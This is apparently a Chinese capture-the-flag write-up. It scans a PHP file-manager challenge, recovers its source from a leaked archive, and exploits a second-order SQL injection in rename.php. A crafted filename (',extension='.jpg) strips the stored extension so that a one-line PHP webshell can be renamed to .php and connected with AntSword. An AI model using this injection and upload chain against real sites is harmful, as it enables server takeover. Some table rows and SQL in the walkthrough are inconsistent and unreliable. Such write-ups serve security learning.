dirsearch扫描目录,
[15:59:14] Starting:
[15:59:15] 200 - 523B - /js
[15:59:15] 200 - 523B - /php
[15:59:22] 200 - 523B - /adminphp
[15:59:22] 200 - 523B - /adminjs
[15:59:24] 200 - 523B - /admin_js
[15:59:30] 200 - 409B - /delete.php
[15:59:33] 200 - 523B - /index.php
[15:59:35] 200 - 523B - /myadminjs
[15:59:35] 200 - 523B - /myadminphp
[15:59:36] 200 - 523B - /opa-debug-js
[15:59:41] 301 - 185B - /upload -> http://111.200.241.244/upload/
[15:59:41] 403 - 571B - /upload/
[15:59:41] 200 - 0B - /upload.php
[15:59:43] 200 - 2KB - /www.tar.gz
看到www.tar.gz,将其下载下来,解压后得到网站源码。
index.php:
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午7:46
*/
?>
<!DOCTYPE html>
<html>
<head>
<title>file manage</title>
<base href="./">
<meta charset="utf-8" />
</head>
<body>
<h3>Control</h3>
<ul style="list-style: none;">
<li><a href="./delete.php">Delete file</a></li>
<li><a href="./rename.php">Rename file</a></li>
</ul>
<h3>Content</h3>
<form action="./upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="upfile">
<input type="submit" value="upload file">
</form>
</body>
</html>
简单的html,没有漏洞
upload.php:
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午8:45
*/
require_once "common.inc.php";
if ($_FILES) {
$file = $_FILES["upfile"];
if ($file["error"] == UPLOAD_ERR_OK) {
$name = basename($file["name"]);
$path_parts = pathinfo($name);
if (!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {
exit("error extension");
}
$path_parts["extension"] = "." . $path_parts["extension"];
$name = $path_parts["filename"] . $path_parts["extension"];
// $path_parts["filename"] = $db->quote($path_parts["filename"]);
// Fix
$path_parts['filename'] = addslashes($path_parts['filename']);
$sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";
$fetch = $db->query($sql);
if ($fetch->num_rows > 0) {
exit("file is exists");
}
if (move_uploaded_file($file["tmp_name"], UPLOAD_DIR . $name)) {
$sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";
$re = $db->query($sql);
if (!$re) {
print_r($db->error);
exit;
}
$url = "/" . UPLOAD_DIR . $name;
echo "Your file is upload, url:
<a href=\"{$url}\" target='_blank'>{$url}</a><br/>
<a href=\"/\">go back</a>";
} else {
exit("upload error");
}
} else {
print_r(error_get_last());
exit;
}
}
上传文件源码,虽然有sql操作,但是都过滤了。
delete.php
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午9:39
*/
require_once "common.inc.php";
if(isset($req['filename'])) {
$result = $db->query("select * from `file` where `filename`='{$req['filename']}'");
if ($result->num_rows>0){
$result = $result->fetch_assoc();
}
$filename = UPLOAD_DIR . $result["filename"] . $result["extension"];
if ($result && file_exists($filename)) {
$db->query('delete from `file` where `fid`=' . $result["fid"]);
unlink($filename);
redirect("/");
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>file manage</title>
<base href="/">
<meta charset="utf-8" />
</head>
<h3>Delete file</h3>
<body>
<form method="post">
<p>
<span>delete filename(exclude extension):</span>
<input type="text" name="filename">
</p>
<p>
<input type="submit" value="delete">
</p>
</form>
</body>
</html>
也是该过滤的都过滤了,没有漏洞
rename.php
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午9:39
*/
require_once "common.inc.php";
if (isset($req['oldname']) && isset($req['newname'])) {
$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
if ($result->num_rows > 0) {
$result = $result->fetch_assoc();
} else {
exit("old file doesn't exists!");
}
if ($result) {
$req['newname'] = basename($req['newname']);
$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");
if (!$re) {
print_r($db->error);
exit;
}
$oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];
$newname = UPLOAD_DIR . $req["newname"] . $result["extension"];
if (file_exists($oldname)) {
rename($oldname, $newname);
}
$url = "/" . $newname;
echo "Your file is rename, url:
<a href=\"{$url}\" target='_blank'>{$url}</a><br/>
<a href=\"/\">go back</a>";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>file manage</title>
<base href="/">
<meta charset="utf-8" />
</head>
<h3>Rename</h3>
<body>
<form method="post">
<p>
<span>old filename(exclude extension):</span>
<input type="text" name="oldname">
</p>
<p>
<span>new filename(exclude extension):</span>
<input type="text" name="newname">
</p>
<p>
<input type="submit" value="rename">
</p>
</form>
</body>
</html>
在第22行的更新操作中,问题出现了。语句将数据库中的查询到的结果直接拿了出来,并没有过滤,而这就导致了二次注入漏洞。
首先假设我们上传一个一句话木马,接着程序会将文件名和文件扩展名都存入数据库中
+-----+-----------+---------+------+-----------+
| fid | filename | oldname | view | extension |
+-----+-----------+---------+------+-----------+
| 11 | shell | | 0 | .jpg |
+-----+-----------+---------+------+-----------+
而rename功能,会将filename进行修改,而extension不会改变
update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}
修改完毕后会将数据库中的filename和extension拼接,使用rename函数来进行重命名。
所以直接上传一个一句话木马,改成shell.php最后会变成shell.php.jpg的形式。那么只要想办法将extension给变成空就可以了,而正好,前面说了程序存在二次注入漏洞。所以构造文件名:',extension='.jpg
即可。
详细说下流程,首先上传',extension='.jpg
,接着进入rename页面,触发二次注入漏洞,此时注入的语句为
update `file` set `filename`='shell.jpg', `oldname`='',extension='' where `fid`=1
之所以为什么不直接改成shell.php
,是因为文件名以及扩展名的获取是在进行update操作之前获取的,所以即使数据库中的扩展名是空的,但是在进行rename操作时还是会被命名为shell.php.jpg
。
所以当我们进行过一次rename操作后,数据库中的信息是下面这样的:
+-----+-----------+---------+------+-----------+
| fid | filename | oldname | view | extension |
+-----+-----------+---------+------+-----------+
| 1 | shell.jpg | | 0 | |
+-----+-----------+---------+------+-----------+
对应的upload目录中的文件是
shell.jpg.jpg
这样当然是不能解析成php的,但是数据库中的已经完成了,现在数据库中显示有一个文件名为shell.jpg
,而扩展名为空的文件。所以我们在上传一个同名文件,并且rename成shell.php就可以了。
上传一个shell.jpg后,数据库中是:
+-----+-----------+---------+------+-----------+
| fid | filename | oldname | view | extension |
+-----+-----------+---------+------+-----------+
| 1 | shell.jpg | | 0 | |
+-----+-----------+---------+------+-----------+
| 2 | shell | | 0 | jpg |
+-----+-----------+---------+------+-----------+
进入rename页面,将shell.jpg改为shell.php
update `file` set `filename`='shell.jpg', `oldname`='shell.php' where `fid`=1
然后使用蚁剑连接即可